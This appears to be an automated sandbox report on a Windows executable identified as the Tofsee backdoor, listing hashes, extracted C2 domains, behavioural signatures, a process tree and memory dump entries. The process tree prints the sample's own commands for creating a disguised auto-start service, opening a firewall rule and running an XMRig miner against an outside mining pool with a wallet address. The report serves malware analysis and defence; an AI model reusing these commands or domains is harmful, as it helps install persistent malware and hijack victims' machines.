Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20231025-en
  • resource tags

    arch:x64arch:x86image:win7-20231025-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 22:23

General

  • Target

    7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe

  • Size

    254KB

  • MD5

    02ac11d7691ed7141949fc5c03d5aae8

  • SHA1

    b122e23b4dfb29d4efedbbe7a72c75d696f8a7ac

  • SHA256

    7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee

  • SHA512

    c437f0cec3cbe5a62a650cafd0814016864c083a2df5a65000d0411b8249daec0744b7c948039a97848135a263ba183a9cb00876fbc3d22ee1e8322dfda0e55e

  • SSDEEP

    3072:M9xGAh803FPqB1HzqotaoQpxVKPk4hjw6EX7eUkpvTRSdnbr4rO/p/4CY/:w/8iYlAxVKMuELrdnbr4yG

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe
    "C:\Users\Admin\AppData\Local\Temp\7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3040
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vxeyjkyl\
      2⤵
        PID:2348
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\getbukfb.exe" C:\Windows\SysWOW64\vxeyjkyl\
        2⤵
          PID:1688
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vxeyjkyl binPath= "C:\Windows\SysWOW64\vxeyjkyl\getbukfb.exe /d\"C:\Users\Admin\AppData\Local\Temp\7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2720
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vxeyjkyl "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vxeyjkyl
          2⤵
          • Launches sc.exe
          PID:2600
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2636
      • C:\Windows\SysWOW64\vxeyjkyl\getbukfb.exe
        C:\Windows\SysWOW64\vxeyjkyl\getbukfb.exe /d"C:\Users\Admin\AppData\Local\Temp\7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2864
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2472
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1164

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\getbukfb.exe

              Filesize

              12.9MB

              MD5

              0e63d8d2b19bd143ca28c5697dd5df90

              SHA1

              9e7e60a5e489659916f0115adf16814d1fd3d133

              SHA256

              faebf94d70ea534cfadd99c9eb5dc5ffe48355cb824a34bd1b3a606c58e2683f

              SHA512

              16febf4e15f06699fa2304883ec5bd85df4bbcfe433b7fcf55bd83259af84a29ae06261623ddb1781c4e31d495d11ecadfa25531feaba6be50e1022bfae4bdfd

            • C:\Windows\SysWOW64\vxeyjkyl\getbukfb.exe

              Filesize

              12.9MB

              MD5

              0e63d8d2b19bd143ca28c5697dd5df90

              SHA1

              9e7e60a5e489659916f0115adf16814d1fd3d133

              SHA256

              faebf94d70ea534cfadd99c9eb5dc5ffe48355cb824a34bd1b3a606c58e2683f

              SHA512

              16febf4e15f06699fa2304883ec5bd85df4bbcfe433b7fcf55bd83259af84a29ae06261623ddb1781c4e31d495d11ecadfa25531feaba6be50e1022bfae4bdfd

            • memory/1164-62-0x0000000000150000-0x0000000000241000-memory.dmp

              Filesize

              964KB

            • memory/1164-77-0x0000000000150000-0x0000000000241000-memory.dmp

              Filesize

              964KB

            • memory/1164-76-0x0000000000150000-0x0000000000241000-memory.dmp

              Filesize

              964KB

            • memory/1164-75-0x0000000000150000-0x0000000000241000-memory.dmp

              Filesize

              964KB

            • memory/1164-73-0x0000000000150000-0x0000000000241000-memory.dmp

              Filesize

              964KB

            • memory/1164-74-0x0000000000150000-0x0000000000241000-memory.dmp

              Filesize

              964KB

            • memory/1164-72-0x0000000000150000-0x0000000000241000-memory.dmp

              Filesize

              964KB

            • memory/1164-64-0x0000000000150000-0x0000000000241000-memory.dmp

              Filesize

              964KB

            • memory/2472-37-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2472-42-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2472-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2472-19-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2472-20-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2472-22-0x00000000019E0000-0x0000000001BEF000-memory.dmp

              Filesize

              2.1MB

            • memory/2472-25-0x00000000019E0000-0x0000000001BEF000-memory.dmp

              Filesize

              2.1MB

            • memory/2472-26-0x00000000000E0000-0x00000000000E6000-memory.dmp

              Filesize

              24KB

            • memory/2472-29-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2472-32-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2472-33-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2472-34-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2472-35-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2472-36-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2472-12-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2472-38-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2472-39-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2472-40-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2472-41-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2472-15-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2472-43-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2472-44-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2472-45-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2472-47-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2472-46-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2472-48-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2472-49-0x0000000000210000-0x0000000000215000-memory.dmp

              Filesize

              20KB

            • memory/2472-52-0x0000000000210000-0x0000000000215000-memory.dmp

              Filesize

              20KB

            • memory/2472-53-0x0000000005A00000-0x0000000005E0B000-memory.dmp

              Filesize

              4.0MB

            • memory/2472-57-0x0000000000220000-0x0000000000227000-memory.dmp

              Filesize

              28KB

            • memory/2472-56-0x0000000005A00000-0x0000000005E0B000-memory.dmp

              Filesize

              4.0MB

            • memory/2472-61-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2864-17-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/2864-11-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/2864-10-0x00000000002D0000-0x00000000003D0000-memory.dmp

              Filesize

              1024KB

            • memory/3040-1-0x00000000002F0000-0x00000000003F0000-memory.dmp

              Filesize

              1024KB

            • memory/3040-7-0x00000000002F0000-0x00000000003F0000-memory.dmp

              Filesize

              1024KB

            • memory/3040-6-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/3040-4-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/3040-2-0x00000000001B0000-0x00000000001C3000-memory.dmp

              Filesize

              76KB